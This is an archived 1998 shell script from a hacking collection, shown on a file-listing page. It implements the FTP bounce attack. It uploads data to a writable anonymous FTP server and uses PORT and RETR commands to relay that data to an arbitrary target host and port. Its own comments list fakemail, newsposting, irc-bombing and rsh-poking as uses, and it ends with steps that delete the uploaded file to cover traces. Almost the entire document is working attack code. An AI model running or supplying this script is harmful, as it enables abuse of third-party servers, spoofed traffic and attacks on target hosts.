home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / ftpBounceAttack < prev    next >
Text File  |  1998-07-17  |  3KB  |  111 lines

  1. #! /bin/sh
  2. # Whang stdin thru an FTP site to a target.  Implements the Bounce Attack
  3. # for fakemail, newsposting, irc-bombing, rsh-poking, or anything else
  4. # involving transfer of data *to* the target host.
  5.  
  6. # REQUIRES::
  7. # stdin: contents; temporarily assembled in /tmp/.i<pid>
  8. # /tmp/filler: 256 lines of 250 nulls each; about 64k worth
  9. # ARGS::
  10. # target site: name or IP [hopefully nslookup will deal]
  11. # target port: numeric; this handles generating hibyte,lobyte
  12. # bounce site: ideally, non-WU with writeable dirs and no identd???
  13. # bounce file: *full path* of w-file over there; this DTRTs with the name
  14. # option:
  15. #    blank -> create, bounce, reconnect and delete
  16. #    c -> create it, bounce it, but don't delete just yet
  17. #    y -> it's already there, just re-bounce it and don't delete
  18. #    d -> dont transfer anything, just delete [for cleanup]
  19.  
  20. test "$4" = "" && echo "Bad args, read the script" && exit 1
  21. test ! -f /tmp/filler && echo "Cant find /tmp/filler; construct it!" && exit 1
  22.  
  23. TNAME=/tmp/.i$$
  24.  
  25. # construct necessaries for PORT commands
  26. TPORTH=`echo "0 k $2 256 / p q" | dc`
  27. TPORTL=`echo "0 k $2 d 256 / 256 * - p q" | dc`
  28. # "host" is pretty common these days; try it...
  29. THOST=`host -t a "${1}" | fgrep 'has address '| head -1 | \
  30.   sed -e 's/.*[     ]//' -e 's/\./,/g'`
  31. # if you can't find "host", this works but loses for multihomed machines.
  32. # THOST=`nslookup -query=a "${1}" | tail +3 | grep 'ddress:' | \
  33. #   sed -e 's/.*[     ]//' -e 's/\./,/g'`
  34. TARGET="${THOST},${TPORTH},${TPORTL}"
  35.  
  36. # split filespec into dir/file
  37. FDIR=`echo "${4}" | sed 's/\(.*\)\/.*/\1/'`
  38. FFILE=`echo "${4}" | sed 's/.*\///'`
  39.  
  40. # select actions by various preloads.  $5 is our action-flag...
  41. XARG="${5}"
  42. if test "$5" = "" ; then
  43.   XARG='c'
  44. fi
  45.  
  46. # Construct the dirty, ship it over and forward to target.  We don't delete
  47. # yet because many ftp servers crash when the retr-to-target fails in weird
  48. # ways, and we might want to keep the file around for a bit... Take out "ascii"
  49. # line if need be
  50. if test "$XARG" = "c" ; then
  51.   echo sending $TNAME to $TARGET via $3 : $FDIR / $FFILE >&2
  52.   cat - /tmp/filler > $TNAME
  53.   ftp -n << EOF
  54.   open $3
  55.   prompt
  56.   quo "user ftp"
  57.   quo "pass -root@"
  58.   cd $FDIR
  59.   binary
  60.   put $TNAME $FFILE
  61.   ascii
  62.   quo "PORT $TARGET"
  63.   quo "RETR $FFILE"
  64. EOF
  65. fi
  66.  
  67. # re-whang handler, called only if xarg is "y"
  68. test "$XARG" = "y" && ftp -n << EOF
  69.   open $3
  70.   prompt
  71.   quo "user ftp"
  72.   quo "pass -root@"
  73.   cd $FDIR
  74.   ascii
  75.   quo "PORT $TARGET"
  76.   quo "RETR $FFILE"
  77. EOF
  78.  
  79. if test "${5}" = "" ; then
  80.   XARG='d'
  81. fi
  82.  
  83. # delete handler.  A bit fancy 'cause some servers disallow delete and/or
  84. # rename, and some allow rename even though they thought otherwise, heh heh.
  85. # In any case, make damn sure the thing is gonzo.
  86. if test "$XARG" = "d" ; then
  87.   echo "test" > $TNAME
  88.   ftp -n << EOF
  89.   open $3
  90.   prompt
  91.   quo "user ftp"
  92.   quo "pass -root@"
  93.   cd $FDIR
  94.   put $TNAME ${FFILE}
  95.   put $TNAME x${FFILE}
  96.   quo "rnfr x${FFILE}"
  97.   quo "rnfr x${FFILE}"
  98.   quo "rnto $FFILE"
  99.   quo "rnfr ${FFILE}"
  100.   quo "rnfr ${FFILE}"
  101.   quo "rnto x${FFILE}"
  102.   del x${FFILE}
  103.   del $FFILE
  104.   quit
  105. EOF
  106. fi
  107.  
  108. test -f $TNAME && rm $TNAME
  109. sync
  110. exit 0
  111.